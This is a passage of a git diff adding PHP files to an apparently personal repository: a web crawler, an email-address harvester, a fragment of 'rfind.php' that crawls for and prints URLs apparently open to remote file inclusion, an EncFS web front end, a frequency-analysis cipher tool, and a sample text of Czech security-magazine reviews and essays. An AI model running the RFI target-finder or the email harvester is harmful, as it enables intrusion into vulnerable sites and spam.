//echo($nurl."\n"); //Debug + if(check_crawl_url($nurl)) save_crawled_url($nurl); + } + } + } +} + + + + +//CODE +if(@filesize($nextc_file) < 8) { + $next = fopen($nextc_file, 'a'); + fwrite($next, $seed_url."\n"); + fclose($next); +} +if(is_file($nextc_file)) { + @unlink($lastc_file); + copy($nextc_file, $lastc_file); + unlink($nextc_file); +} + +$total_urls = 0; +while(1) { + if($debug) echo("\n-LOOP\n"); + $last = fopen($lastc_file, 'r'); + $next = fopen($nextc_file, 'a'); + $total = fopen($crawl_file, 'a'); + while(!feof($last)) { + $url = trim(fgets($last)); + crawl_url_once($url); + } + @fclose($crawl_file); + @fclose($lastc_file); + @fclose($nextc_file); + unlink($lastc_file); + copy($nextc_file, $lastc_file); + unlink($nextc_file); +} + + diff --git a/php/crawler/old/emails.php b/php/crawler/old/emails.php new file mode 100755 index 0000000..5437165 --- /dev/null +++ b/php/crawler/old/emails.php @@ -0,0 +1,70 @@ +#!/usr/bin/php + 5.2.0-8+etch7 (ihrisko.org) + + + +//phpinfo(); die; + +ini_set('default_socket_timeout',1); //How long wait for a webserver? (seconds) +set_time_limit(0); //How long run? (seconds) +//$url='http://ad.doubleclick.net/click'; +$url='http://w.moreover.com/'; +$max_size = 10000; +$i = 0; +while(1) { +file_get_contents($url, false, null, 0, $max_size); +//preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls); +echo "#"; +$new_urls = $new_urls[0]; +$i++; +print_r($new_urls); echo($i); +} +die; + +$stdin = fopen('php://stdin','r'); +while(!feof($stdin)) { + $url = fgets($stdin); + preg_match_all("/[-a-z0-9\._]+@[-a-z0-9\._]+\.[a-z]{2,4}/", @file_get_contents($url), $emails); $emails = $emails[0]; + foreach($emails as $email) { + echo($email."\n"); + } +} + + +die; + +?> +Hi everybody! +I am trying to write WebCrawler/Spider (as school project, and -of course- I am trying to be more wealthy than google ;o) + +So... I have big/small problem: +I am using file_get_contents() (i've tryed fopen() too...). +Crawler works 100% great, but sometimes it freezing. I have tryed to trace what function freezes, and i found it, it's file_get_contents()... + +So, i googled and found default_socket_timeout setting, i set it to 1, but sometimes its freezes and never get up again. + +I've done this example, so you can see, that it freezes after few iterations. I have supplyed URL, that causes freeze of my crawler (im not sure why...): + +#!/usr/bin/php +< ?php + +ini_set('default_socket_timeout',1); +set_time_limit(0); +//$url='http://ad.doubleclick.net/click'; +$url='http://w.moreover.com/'; +while(1) { + @file_get_contents($url, false, null, 0, 10000); + echo "#"; +} + +?> + +Of course, if somebody want be better than google, he have to have very good crawler. So I need very solid code, that can run and crawl a days without crash (like this one). Yeah, it's true, that this worked 1 or 2 hours before it crashes, or i stoped it, but the file_get_contents() doesn't work like i need. + +If you are interested to crawling, you can write me to YouSeekMe: 283//782//978 ;D + +And there are few statistics from my last session: ++5431 URLs; 19292 Downloaded; UpTime: 21.5 mins; Buffered: 30 URLs; History: 1000 URLs; Speed: 4.22 URLs/s, 14.98 Downloads/s + +THX4AnyHelp ;o) \ No newline at end of file diff --git a/php/crawler/old/rfind.php b/php/crawler/old/rfind.php new file mode 100755 index 0000000..91d1e19 --- /dev/null +++ b/php/crawler/old/rfind.php @@ -0,0 +1,34 @@ +#!/usr/bin/php + 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + //echo("#"); //debug + $nurl = spliti('"', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + $test = @fopen($nurl, 'r'); + if(is_rfi_positive($nurl) && $test) echo("$nurl\n"); + } + } + } +} + diff --git a/php/encfs/a/.encfs6.xml b/php/encfs/a/.encfs6.xml new file mode 100755 index 0000000..1d18cf5 --- /dev/null +++ b/php/encfs/a/.encfs6.xml @@ -0,0 +1,29 @@ + + + + + EncFS 1.4.2 + + ssl/aes + 2 + 1 + + + nameio/block + 3 + 0 + + 256 + 1024 + 1 + 1 + 1 + 8 + 0 + 0 + 52 + +ANCcbQw2raDid+fCN2xG3usT/rdZidYGEVZGLn5Ip1VfCPuiu19ikYQQewiFaNGDifgJis + + + diff --git a/php/encfs/encfs.php b/php/encfs/encfs.php new file mode 100755 index 0000000..8852893 --- /dev/null +++ b/php/encfs/encfs.php @@ -0,0 +1,53 @@ + +

EncFS Web Interface

+$encrypted
' '$plaintext' $encfsargs

"); ?> + + + +
+ + +
+
+ + +
+Brougt to you by Harvie 2oo9! + +
+
+
diff --git a/php/encfs/index.html b/php/encfs/index.html new file mode 100755 index 0000000..eeed575 --- /dev/null +++ b/php/encfs/index.html @@ -0,0 +1 @@ +bravo! podarilo se pripojit sifrovany oddil. diff --git a/php/encfs/php-encfs.php b/php/encfs/php-encfs.php new file mode 100755 index 0000000..fb15064 --- /dev/null +++ b/php/encfs/php-encfs.php @@ -0,0 +1,32 @@ +Error: Cannot use EncFS without TLS!Use https:// instead of http://'); +} + +function encfs_mount($what, $where, $password, $arguments='') { + system('/bin/echo '.escapeshellarg($password).' | /usr/bin/encfs -S '.escapeshellarg($what).' '.escapeshellarg($where)." $arguments".' 2>&1'); + flush(); +} + +function encfs_unmount($where) { + system('/usr/bin/fusermount -zu '.escapeshellarg($where).' 2>&1'); + flush(); +} + diff --git a/php/evolutia.php b/php/evolutia.php new file mode 100755 index 0000000..ec43b51 --- /dev/null +++ b/php/evolutia.php @@ -0,0 +1,95 @@ +

ASIIArt Evolution Matrix

+ $d) { + $c = $chars[$i]; $d = substr_count($text, $chars[$i]); + } + } + $text=str_replace($chars[rand(0,strlen($chars)-1)], $c, $text); + } + + for($i=0;$i +
+
+ + + Childs + Charset + Replace 1/ + +
+

+
+ Width + Height + + + + +

+ Info... +
+
+ / +
+ +
+ +
+
+ + + + + + +
+ $n) { + $data[$c] = ($n/$total)*100; + $debug -= $data[$c]; + } + + //echo("Debug: $debug\n"); //Debug + return($data); +} + +function freq_compare($cipher, $language) { //Do analysis (from two fingerprints) + foreach($cipher as $c => $n) { + $min = 1024; + foreach($language as $dc => $dn) { + $nmin = abs($n-$dn); + //echo $nmin."\n"; //Debug + if($nmin < $min) { + $min = $nmin; + $decrypted[$c] = $dc; + } + } + } + + return($decrypted); +} + +function freq_errors($decrypted) { //Test success (run with uncrypted cipher) + $errors = 0; + $total = 0; + foreach ($decrypted as $a => $b) { + if($a != $b) $errors++; + $total++; + } + $hits = $total - $errors; + $perc = round(($hits/$total)*100); + echo("$hits hits and $errors errors / $total total - that means, you are $perc% successfull\n"); + return $errors; +} + +///CODE////////////////////////////////////////////////////////////////////////// +$czech = freq_analyze('czech.txt'); +//print_r($czech); //Debug +$cipher = freq_analyze('cipher.txt'); +//print_r($cipher); //Debug + +$decrypted = freq_compare($cipher, $czech); +freq_errors($decrypted); +print_r($decrypted); \ No newline at end of file diff --git a/php/frekvencni_analyza/cipher.txt b/php/frekvencni_analyza/cipher.txt new file mode 100644 index 0000000..5cdd3e1 --- /dev/null +++ b/php/frekvencni_analyza/cipher.txt @@ -0,0 +1,158 @@ +Hakin9 - 4/2007 +Autor: .cCuMiNn. + +obalka casopisu + +Mame zde zacatek prazdnin, a protoze to pro vetsinu z nas znamena i mnohem vice casu pro sve zaliby, neutekla zajiste nikomu z vas novinka, ze vyslo nove cislo naseho oblibeneho casopisu Hakin9. + + + + + + +Obsah CD + +Jiz tradicne se muzete tesit na CD, ktere obsahuje live distribuci Aurox vydavanou pod nazvem Hakin9 live a mnozstvi zajimavych aplikaci, tutorialu a navodu v elektronicke podobe. Za zminku stoji tentokrat tyto aplikace: + +SecrecyKeeper by Smart Protection Labs - aplikace umoznujici ridit pristup k jednotlivym souborum na stanicich a serverech na zaklade pristupovych prav, ktera maji jednotlivi uzivatele. O vsech pristupech k informacim jsou vedeny podrobne protokoly. Verzi, kterou na CD nalenete, lze pouzivat po dobu jednoho roku peti agenty. +AES Password Manager - pokud si kladete otazku, jak na pocitaci bezpecne uchovavat sva pristupova hesla k ruznym sluzbam, cisla kreditnich karet a jejich PINy, pak by se tento program pro vas mohl stat tim spravnym resenim. Aplikace chrani tyto citlive informace 256bitovym AES sifrovanim a umoznuje napriklad jejich vkladani do webovych formularu. +Event Log Manager - program rozsirujici moznosti klasickeho prohlizece udalosti, ktery je dostupny v systemech Windows. Jednotlive zaznamy je mimojine mozne velice jednoduse radit, tridit, prohlizet ci mazat. +IisKeeper - 99denni trial verze programu, ktery vam umozni chranit pristup k nekterym zdrojum na IIS webovem serveru bez nutnosti zakladani novych uzivtelskych uctu. +Norman Virus Control Plus - antivirus obsahujici funkce SandBoxu a vsechno, co lze od dobreho antiviroveho programu ocekavat. Na CD naleznete i verzi pro operacni systemy Windows Vista. +Licence protektor - aplikace umoznujici ochranu multimedialnich souboru pred neopravnenych kopirovanim. Soubory jsou zasifrovany a pro jejich prezentaci se pouziva prehravac, ktery je soucasti tohoto baliku. +Obsah tisteneho casopisu + +Po te, co bychom za sebou meli strucny popis obsahu CD, muzeme spolecne nahlednout do stranek tisteneho casopisu. Tam na ctenare tentokrat cekaji clanky: + +Netrivialni uvod do vyzkumu malware - obsah tohoto clanku ctenarum priblizuje postupy, ktere se pouzivaji pri zkoumani skodlivych kodu zvanych malware. Predstaveny jsou nam nastroje, ktere se pri teto cinnosti vyuzivaji a strucne jsou popsany i ruzne triky, ktere soucasny malware vyuziva. +Slabiny elektronickeho bankovnictvi - v tomto clanku predstavuji jeho autori ctenarum nejrozsirenejsi kanaly elektronickeho bankovnictvi a poukazuji na slabiny kazdeho z nich. +Skutecny pribeh o celem prubehu jednech penetracnich testu - tento nazev nese clanek, ktery popisuje cinnosti pri penetracnich testech od sameho zacatku po konecnou zpravu. Ctenari se dozvi, jak mohou tyto testy probihat a jake nastroje jsou behem testu pouzity. +Prehled vybranych metod na ruseni omezeni v lokalnich sitich - v tomto clanku s mirne nepruhlednym nazvem se muzete docist o metodach, jejichz vyuzitim se daji obchazet omezeni, ktera do cesty uzivatelum kladou administratori site. Doctete o tunelovani sitoveho provozu na otevrenych portech nebo za vyuziti protokolu, ktere byly puvodne urceny k jinemu vyuziti. +Pokrocile overovani pristupu k Oracle - clanek pojednava o systemu Kerberos a o tom, jak lze pomoci aplikaci tretich stran zajistit bezpecnost pri pristupu k databazovemu serveru Oracle. +Znepristupneni zdrojoveho programoveho kodu - patrite-li mezi programatory, kteri by radi ukryli sve zdrojove kody pred nenechavym pohledem verejnosti a tak zamezili nebo alespon ztizili dekompilaci vasich binarek, pak je tento clanek urcen prave vam. Autor clanku predstavuje ruzne aplikace, ktere lze nasadit pri zatemnovani kodu, nebo pro jeho komprimaci. +DNS inSECure - clanek venujici se zranitelnostem systemu DNS a jeho rozsireni DNSSEC, ktere lze pro zvyseni bezpecnosti pouzit. +Overovani a autorizace v ASP.NET 2.0 - clanek pojednavajici o nejpopularnejsim zpusobu overovani uzivatelu na portalech ASP.NET a ukazuje cesty jak prejit z manualniho na plne automatizovane formy overovani a autorizace uzivatelu. + +Na zaver ceka na ctenare jeste rozhovor s Janem Hlavacem, tiskovym mluvcim BSA pro Ceskou republiku, recenze knih Hacking bez zahad a Hacking - Buffer overflow a fejeton Libora Dostalka - Jak jsem prisel o GSMbanking. + +Ac v zaveru sve recenze na jednotliva cisla casopisu Hakin9 pravidelne jeho obsah chvalim a minule jsem se dokonce rozplyval nad tim, ze jeho kvalita neustale roste, dnes tomu bude jinak. Obsah tohoto cisla mi pripadal velice povrchni a prosty. Autori jednotlivych clanku nezabihali do detailu a texty tak ztraceji informacni bohatstvi, na ktere jsme v tomto casopise zvykli. Doufejme, ze jde jen o okurkovou sezonu a jiz v pristim cisle na nas bude opet cekat spousta zajimaveho cteni. + +Hakin9 - 3/2007 +Autor: .cCuMiNn. + +obalka casopisu + +Cekani na nove cislo casopisu Hakin9 mi tentokrat pripadalo jako nekonecne. Kveten je ale jiz tady a s nim i treti cislo casopisu Hakin9 v roce 2007. Hned po rychlem preletnuti obsahu bylo zrejme, ze se dlouhe cekani vyplatilo. Nejde totiz o cislo jen tak ledajake, ale o nadupane (pekne od zacatku az do konce) samymi informacnimi skvosty. Mou milou povinnosti jako vzdy je, vam tento zajimavy obsah trochu priblizit. + + +Obsah CD + +Jak uz je mym zvykem, zacnu obsahem CD. To obsahuje live distribuci linuxu s nazvem Hakin9 live, ktera je zalozena na Auroxu a mnozstvi uzitecnych utilit, tutorialu a textu. Za zminku stoji napriklad tutorial Metasploit - Exploiting framework a tyto programy: + +Ashampoo AntispyWare - program urceny pro Windows2000/XP, ktery ochrani vas pocitac pred vice nez 410.000 injekcemi. Jde o kompletni anti-malware aplikaci, ktera je schopna vyhledat a znicit nejenom viry, wormy, trojany, spyware, adware, ale i ruzne rootkity. + +Intelli HyperSpeed 2005 - i tento program je urcen pro pocitace s operacnim systemem Windows. Tato aplikace je pomaha rychlostne optimalizovat podle pozadavku na jejich vyuziti, pricemz vzdy nabizi krok zpet pro pripad, ze nam nebudou provedene upravy zcela vyhovovat. + +A-squared Anti-Malware - aplikace, ktera se snazi zaplnit mezeru v oblasti zabezpeceni osobniho pocitace pred skodlivym software. Program je jakymsi IDS, ktery bezi na pozadi a monitoruje vsechny spustene procesy, aby vyloucil pritomnost ruzneho malware. + +Comodo Personal Firewall - firewall dostupny zdarma pro domaci pouziti, ktery vam umozni ziskat plnou kontrolu nad vytizenim vasi site jednotlivymi programy. Plna konfigurovatelnost je u produktu podobneho typu samozrejmosti. + +NetConceal AntiHistory - program pro Windows, ktery velice jednoduchym zpusobem dokaze zahladit stopy o pritomnosti uzivatele u PC. Aplikace se postara o smazani seznamu navstivenych stranek, otevrenych souboru, apd. +Obsah tisteneho casopisu + +Pote, co jsme si predstavili obsah CD, se konecne dostavam k jadru teto recenze, kterym je obsah tisteneho casopisu Hakin9. + +Po par uvodnich stranach, ktere vas seznami s novinkami ze sveta bezpecnosti, nas jako prvni privita clanek Jacka Matulewskiho: Hacky ve Windows. Ten podrobne rozebira zachytavani zprav pod operacnim systemem Windows a naznacuje moznosti vyuziti. Dozvite se napriklad, jak hookovat klavesnici a jak si diky tomu muzete vytvorit svuj vlastni softwarovy keylogger. + +Nasleduje clanek Metasploit - Exploiting framework od Michala Merty, ktery vam priblizi novou treti verzi programu Metasploit Framework. Jde o znamy produkt, ktery je urcen pro tvorbu, ladeni a spravu exploitu. + +Ve clanku Neviditelne backdoory od Michala Styse se dozvite, jak ukryt svuj backdoor tak, aby nebyl odhalen spravcem systemu. Pomoci rozvinutych technik jej skryjete i pred vsekontrolujicim firewallem. + +Obrana databaze Oracle za pomoci pokrocilych bezpecnostnich opatreni je nazev dalsiho clanku. Jak jiz samotny nazev napovida, pujde v nem o databazi Oracle a jeji obranu. Autor clanku Mikolas Pansky v nem pojednava o autentizaci, autorizaci a bezpecnostnich konceptech databaze. Uvadi problematiku pouziti Oracle Advanced Security a mnoho dalsiho. + +Ve stejny den, kdy se ukazala prvni verejna verze weboveho prohlizece Internet Explorer 7, se rozpoutala diskuze na tema jeho bezpecnosti. IE7 obsahuje mnoho novych fukci, ktere maji uzivateli zajistit nekolikanasobne vetsi bezpeci nez tomu bylo u predchozi verze. Ktere funkce to jsou, vam priblizi Artur Zarski ve svem clanku Bezpecnost Internet Exploreru 7. + +Bezpecnost kont PHP je znacne obsahly clanek o zranitelnostech v PHP, na ktere spravci systemu velmi casto zapominaji. Autor Pawel Maziarz vam za pomoci nazornych prikladu ukaze moznosti zneuziti nekolika ruznych funkci php, ktere mohou vest k plnemu ovladnuti ciziho php konta. + +Text Zabezpeceni WWW sluzeb ve Windows Loghorn Server vam predstavi nejnovejsi verzi operacniho systemu Windows Server, ktera je aktualne vedena pod nazvem Loghorn. Na trhu by se mel tento system objevit v listopadu tohoto roku, ale vy se na nej muzete spolecne s autorem clanku podivat jiz nyni. + +Co mit na pameti pri vytvareni vlastni webove sluzby a jak se vyhnout nejbeznejsim bezpecnostnim problemum, se doctete ve clanku Web Services Security. + +Zajima vas, jak zajistit sifrovani jiz na urovni aplikaci a ne az pri sitovem prenosu? Pokud ano, pak je prave vam urcen clanek Pawla Maziarze o Sifrovani v aplikacich - knihovna Openssl. + +Francesco Arruzzoli vam ve clanku Steganografie - umeni okultniho pisma predstavi steganografii tak, jak ji mozna jeste neznate. Pokud vas nekdy zajimalo, jak lze ukryt informace do obrazku, zvuku, videa nebo filesystemu, nemel by vam tento clanek uniknout. + +Kvetnove cislo uzavira fejeton Libora Dostalka, prekladatele knihy Hacking bez tajemstvi, v nemz se zaobira otazkou zajmu o hacking a co si lide pod timto pojmem predstavuji. + +Sami vidite, ze je toto cislo opravdu plne zajimavosti. Osobne bych rekl, ze se mnozstvi a uroven clanku stale zlepsuje, protoze to ale muze byt pouze muj subjektivni nazor, necham posouzeni na kazdem z vas... + +Umeni klamu +Autor: .cCuMiNn. + +Kevin Mitnick +Kazdy zije svuj vlastni zivot. Nekdo venuje svuj volny cas sportu, jiny zabave. Nekdo pojida chipsy, jiny cokoladu. Jedno vsak mame spolecne. Vsichni vytvarime odpad, kterym chte nechte plnime odpadkove kose ve svych domacnostech. Protoze vsak nadoby na odpadky nejsou bezedne, nezbyva nam, nez je jednou za cas vynest do kontejneru, odkud je pracovnici technickych sluzeb odvezou do spalovny. Urcite se vam take nekdy stalo, ze jste se u kontejneru na komunalni odpad potkali s clovekem, ktery se s hulkou v ruce pohrabava obsahem kontejneru a hleda neco zajimaveho. Bydlite-li blizko budov, v nich jsou kancelare a obchodni sidla firem, mohlo by se vam stat, ze byste krome ruznych postav bez domova potkali v techto spinavych a pachnoucich mistech i jej. + +Jeho stredne vysoka, stihla postava by se hrbila v zari mesice nad hromadkou pomackanych papiru. Delsi kastanove vlasy by zakryvaly vyhled jeho velkym, tmave hnedym ocim, ktere by se s dychtivosti snazily nalezt mezi bezcennymi odpadky nejakou stopu. Videli byste, jak se zajmem sklada mozaiky z roztrhanych archu a jak jeho hbite ruce zalovi sem tam v kapsach dlouheho tmaveho kabatu s kapuci, aby neco zapsaly do poznamkoveho blocku, ktery se v nem skryva. + +Narazit na nej v techto mistech, urcite byste se lekli. Kdybyste ho vsak chvili pozorovali, pripadal by vam smesny. "Mladik", rekli byste si. Vypada tak na 20let a nebyt tak spinavy, jiste by to byl hoch k pokukani. Co tu dela? Nema snad domov? Ale ano, ma. Dokonce jen par bloku odtud. Je to Kevin Mitnick, ktery sem prisel, stejne jako kazdy den v tomto tydnu, na lov informaci. Rika tomu trashing. Je to jedna z veci, ktera patri mezi jeho konicky. Hleda zde na dokumentech vyhozenych z kancelari jakekoliv duverne informace, ktere neprosly skartovackou. Divili byste se, na jake informace zde nejednou narazi. Seznamy se jmeny zamestnancu, telefonni cisla a funkce osob. Obcas dokonce nejake to rodne cislo, ci cislo zdravotniho pojisteni. Asi vas napadne otazka: "Proc? Proc to dela? Co z toho ma?" + +Kevin je sociotechnik. Mezi jeho konicky patri vypocetni technika a jednani s lidmi. Vyziva se v dlouhych telefonnich hovorech, v nichz se vydava za nekoho jineho. Nekoho, jehoz jmeno objevil napsane na formularich mezi odpadky. Snazi se tak z cloveka na druhem konci dratu vylakat dalsi duverne informace, ktere by mu pomohli v jeho ceste k cili. Neni tak pro nej problem vylakat z lidi pristupova hesla do pocitacove site nebo dokonce cisla kreditnich karet jakekoliv osoby na kterou jen pomysli. Nekdy si dokonce oblekne krasny drahy oblek, uvaze si kravatu a s kufrikem v ruce vyrazi primo do vytypovane firmy. Na vratnici predlozi falesny prukaz, ktery si predem vytvoril. Jakmile se jednou ocitne v budove firmy, nic jiz pred nim neudrzi informace v bezpeci. Z kufriku vytahne notebook a pripoji jej do zasuvky s ethernetem. Stahne si soubor s hesly a nahraje na server program, ktery mu pozdeji umozni pripojit se do pocitacove site firmy zvenci. S peknym rozloucenim pak opusti budovu. + +Kevin je velice charismaticky, inteligentni a vzdelany clovek, ktery presne vi, co chce. Jeho talent v jednani s lidmi by mu mohl zavidet kazdy psycholog. Vzdyt se mu vzdy podari dostat lidi presne tam, kde je chce mit, pricemz nikdy neztraci hlavu. Kazdou akci si dopredu bezchybne naplanuje a bez mrknuti oka i chladne provede. Miluje tu atmosferu, ktera mu vhani adrenalin do zil. Je v tom proste dobry. Nekteri dokonce tvrdi, ze je nejvetsi hacker vsech dob. + +O knize +Pokud vas zaujali predchozi odstavce, pak byste si urcite nemeli nechat ujit knihu Umeni klamu, ve ktere sve skutky popsal sam Kevin Mitnick. Kniha je jakousi ucebnici socialniho inzenyrstvi. Je plna praktickych prikladu, na nichz autor ukazuje slabiny lidi a jejich zranitelnosti. Na druhou stranu nam touto knihou dava do ruky klic k porozumeni sociologum a jimi pouzivanym praktikam. Naucite se zakladni principy odhaleni podvodu tak, abyste byli schopni jej rozeznat a ubranit se mu. + +Mekkou nebo tvrdou drogu? + +Toto zari bylo pro meho syna jednim z mezniku v jeho zivote. Nastupoval totiz povinnou skolni dochazku a ja pochopitelne absolvoval jeho prvni skolni den s nim. Po krasne reci, kterou tridni ucitelka vitala ve sve tride prvnacky, se otevrely dvere a do tridy vesel pan obleceny do habitu s kolarkem kolem krku. Pritomne deti taktez privital, lec rec zrucne balil do perinek slozenych ze slov laska, buh a odpusteni. Doporucil prvnackum hodiny krestanske vychovy, a otevrene dvere domu pane. Dale nabidl svou malickost, ktera na ne v tento vyjimecny den pocka prede dvermi ucebny, kde bude ocekavat jejich dotazy a prihlasky. + +Nemohl jsem se ubranit pocitu, ze prede mnou stoji drogovy diler, ktery chce meho syna udelat zavislym na „droze“ se jmenem nabozenstvi. Tato „droga“ jiz dokazala zlomit nejednoho dospeleho a zivot tohoto maleho clovicka by v budoucnu mohla naprosto rozdrtit. Kdyz jsme pak opousteli tridu, pan kazatel stal ihned vedle dveri. Stejne jako ruzne existence, o nichz slychavame, ze chteji nevinne deti po odchodu ze skoly nalakat s nekalym umyslem. Sveho syna jsem radeji vedl tak, abych mu zakryval vyhled na tohoto cloveka. + +Myslim si, ze je na case, abych si se synem promluvil a podobne jako varuje vetsina rodicu sve deti pred nasledky uzivani drog, mu vysvetlil, co by se mohlo stat, pokud by se nechal podobnym clovekem zlakat. + +Co bych mu rekl? Proc si myslim, ze je nabozenstvi tak nebezpecne? V podstate nejde ani tak o nabozenstvi, jako spise o samotnou cirkev, ktera ve jmenu nabozenstvi vystupuje. Od dob kdy na Zemi prisel Kristus, aby vsem lidem ukazal, ze je mozne prozit zivot bez hrichu, se mnohe zmenilo. Kristus sam byl chudym clovekem. Trapil ho hlad a casto nemel ani kam hlavu slozit. Na rozdil od nej je katolicka cirkev nejbohatsi a nejvlivnejsi mocnosti sveta. Jak se to stalo? Kde cirkev ke vsemu tomuto majetku prisla? Vse zacalo uz ve stredoveku. V dobe, kdy se propletly koreny cirkve se zajmy statu a krestane jiz nemuseli svou viru tajit. Pod zastitou viry ziskali v dobe inkvizice nevidanou moc a nashromazdili znacny majetek. Skutecnost, ze se knezi nesmi zenit, aby mohli vsechny sve myslenky venovat bohu, svadi po zamysleni k dojmu, ze pravda lezi nekde jinde. Vstoupi-li do cirkve novy knez, je skrytym cilem cirkve jej pripravit o majetek. Pokud tento knez zemre, neni nikdo, kdo by po nem mohl dedit. Svuj majetek uz ale cirkvi stejne davno takto zfanatizovany clovek odkazal. Kdyby vsak ne a mel tento knez zenu a deti, ktere by po nem dedily, nemohla by tak cirkev prichazet k novym statkum a teoreticky by tak mohl cirkevni majetek dokonce mizet v nenavratnu. Katolicka cirkev dnes jiz nastesti neni jedinou krestanskou cirkvi. Objevilo se spousty lidi, kteri ac byly verici, zacali poukazovat na nespravny vyklad Bible a prekrucovani zcela jasnych faktu. Vezmeme-li napriklad desatero, nedodrzuje katolicka cirkev snad ani polovinu jednotlivych prikazani. Jednim z prikazani je zakaz zpodobnovat boha. V kazdem kostele vsak najdeme Krista na krizi a vyobrazeni nespocetneho mnozstvi svatych. Neznam zadneho z vericich, ktery by obcas nerekl slova jako „Kriste pane“ nebo „pane Boze“, cimz porusuji druhe z prikazani. Uctivani boha sedmy den, bylo cirkvi take davno prekrouceno, kdyz se sedmym dnem stala nedele namisto soboty. O prikazanich: „Nezabijes“, „Nepokrades“, a dalsich., nema po inkvizici snad ani cenu hovorit. V cele historii nezemrelo nikdy vice lidi nez ve jmenu viry. Kvuli vire vzplanula vetsina valek a potycek mezi lidmi. Lide, kteri poukazovali na spatny vyklad Bible, proto zalozili cirkve nove. Patri mezi ne Svedci Jehovovi, Adventisti sedmeho dne, Husitsko bratrska cirkev a mnoho dalsich. Vetsina techto cirkvi jde vsak dnes za moci a majetkem stejne, jako to drive delala cirkev katolicka. V dnesnim demokratickem svete to vsak jiz nema tak jednoduche. Musi se uchylovat k humanejsim zpusobum a sve obeti tak vytvari z dobrovolniku, ktere do cirkve vstoupi. Samotnych dobrovolniku by ovsem bylo malo a casto tak u nasich dveri zazvoni pekne obleceny par mladych lidi, kteri se snazi nalakat nas do sparu prave te jeho viry. Pokud clovek podlehne, necha se zviklat a vstoupi, zacne jej cirkev pretvaret k obrazu svemu. Styl, ktery cirkve pro vychovu jedince voli, bych prirovnal k „vymyvani mozku“. „Spravne vychovany“ clovek pak pravidelne odvadi desatky, stara se o lov novych dusi a casto v dobre vire prenecha teto cirkvi i cely svuj majetek. Jedinec, ktery chce z cirkve vystoupit, to ovsem nema tak jednoduche. Je svymi druhy premlouvan a presvedcovan. Je na nej kladen psychicky natlak a dobrovolny odchod mu nebyva umoznen. + +Pokud jde o beznou cirkev, nezbyva mi, nez ji prirovnat k mekkym drogam. Ma-li clovek silnou vuli, muze casto svuj dosavadni postoj zmenit i navzdory prekazkam, ktere mu neduhy teto zavislosti staveji do cesty. Po boku cirkvi vsak jdou jeste sekty. Jedna se v podstate o totez. Rozdil je jen ten, ze jejich vira se ubira jinym smerem. Maji sve vlastni metody a clovek, ktery je jejich chapadly pohlcen, v nich casto najde i svou smrt. Zfanatizovani lide zavisli na teto tvrde droze casto nemaji moznost uniku. + +Nezbyva mi, nez se zamyslet nad tim, kam jsme to dopracovali. Drogovy dileri dnes mohou beztrestne nabizet sve zbozi prvnackum pred zraky rodicu i vyucujicich a svuj rozhovor se synem bych ukoncit slovy: „Chces-li byt vericim, klidne jim bud. Nevidim ale duvod, proc se nechat ovlivnovat nekym druhym. Muzes se treba rozhodnout studovat nabozenstvi. Knih na toto tema je vsude dostatek a nabozenstvi samo o sobe z tebe muze dokonce udelat lepsiho cloveka. Proc vsak zacit uzivat drogy, ktere te zaslepi a ohlusi? Drogy, ktere ti budou naseptavat jen tu svou pravdu. Pravdu, nad kterou kdyz se zamyslis, zustane ti rozum stat. Tak co? Rozumis mi?“ + + + + + +Legalita software a softwarovy audit (1) +Autor: .cCuMiNn. + +Ackoliv nemam serialy prilis v lasce, protoze si jen zridka udrzim chut k jejich dopsani az do zaverecneho dilu, je tema legality softwaru a softwaroveho auditu natolik obsahle, ze se rozdeleni clanku do nekolika dilu stalo nezbytnosti. Slibuji, ze se tentokrat pokusim dotahnout serial az do konce. +Autorsky zakon a licencni smlouvy + +Abychom spravne pochopili vse okolo legality softwaru, zacneme pekne od zacatku, to je od nasich zakonu. O zakonu, ktery vse zastresuje jste jiz urcite slyseli. Jedna se o autorsky zakon, ktery autorum dila a uzvatelum prisuzuje jista prava a povinnosti. Autorsky zakon je napsan velmi vseobecne, aby podchytil co nejvetsi okruh autorskych del. Z tohoto duvodu se muze zdat, ze je tento zakon ponekud povrchni. Co se primo softwaru tyce, najdeme v tomto zakone jen par paragrafu, ktere se mu primo venuji. Naopak velmi casto v nem muzeme narazit na slova "neni-li uvedeno jinak". Jak si mame tato slova vykladat a kde najdeme to zminovane "uvedeno jinak"? Tato slova vyjadruji vlaste licencni smlouvu, kterou uzavira uzivatel software s jeho autorem. Licencni ujednani musi byt uzivateli pristupne jeste drive, nez dojde k nainstalovani softwaru a jeho autor si muze do teto smlouvy vlozit cokoliv. Licencni smlouva, jako jedna z mala, nemusi byt opatrena podpisem smluvnich stran a pokud pri instalaci softwaru tuto smlouvu prijmete, jste timto licencnim ujednanim vazani. Je dokonce jedno, v jakem jazyce je licencni smlouva sepsana. Pokud danemu jazyku (muze jim byt napriklad cinstina) nerozumite, je na vas, abyste si zajistili jeji preklad. + +Z pohledu autorskeho zakona jsou pocitacove programy chapany jako literarni dilo a jejich koupi si kupujeme pouze nosic a manual. Predmetem koupe jsou pouze hmotne veci a samozrejme pravo uzivat software za podminek stanovenych licencni smlouvou. + +Kdyz uz jsem zminil, ze autor muze v licencnim ujednani uvest opravdu cokoliv, musim se zminit i o tom, ze nektere z techto bodu mohou napriklad zasahovat do minima opravneni, odporovat autorskemu zakonu, nebo jinym zakonum Ceske republiky, i kdyz v jine zemi zakonum odporovat nemusi. V takovem pripade je licencni smlouva neplatna pouze v tomto bode. V ostatnich bodech pak zustava platna. U nekterych typu licencnich smluv mohou ale nastat i takove pripady, kdy dojde ke zneplatnenismlouvy cele. + +Licencnim smlouvam se podrobneji venuje napriklad 6.dil autorskeho zakona, konkretne §46-§57. Licencni smlouvy mivaji ruzna zneni a casto byvaji sepsany dosti obsahle a nesrozumintelne. Presto vyrazne doporucuji jejich precteni pred odsouhlasenim. Ve smlouve najdeme napriklad informace, za jakych podminek muzeme dany software pouzivat. Zda jde o komercni software, o shareware, freeware nebo freeware pro nekomercni pouziti. Pozor si dejte na pripady, kdy je znam autor software, ale u samotneho programu neni uvedena zadna licencni smlouva. Autorsky zakon v §46/1 totiz prisuzuje autoru dila pravo na odmenu a i kdyz uklada povinnost informaci o odmene v licencni smlouve uvadet, muze dojit k pripadu podle §49/2a. Pokud vas bude autor za pouziti dila zalovat nebo pokud bude osloven policii po pripadnem 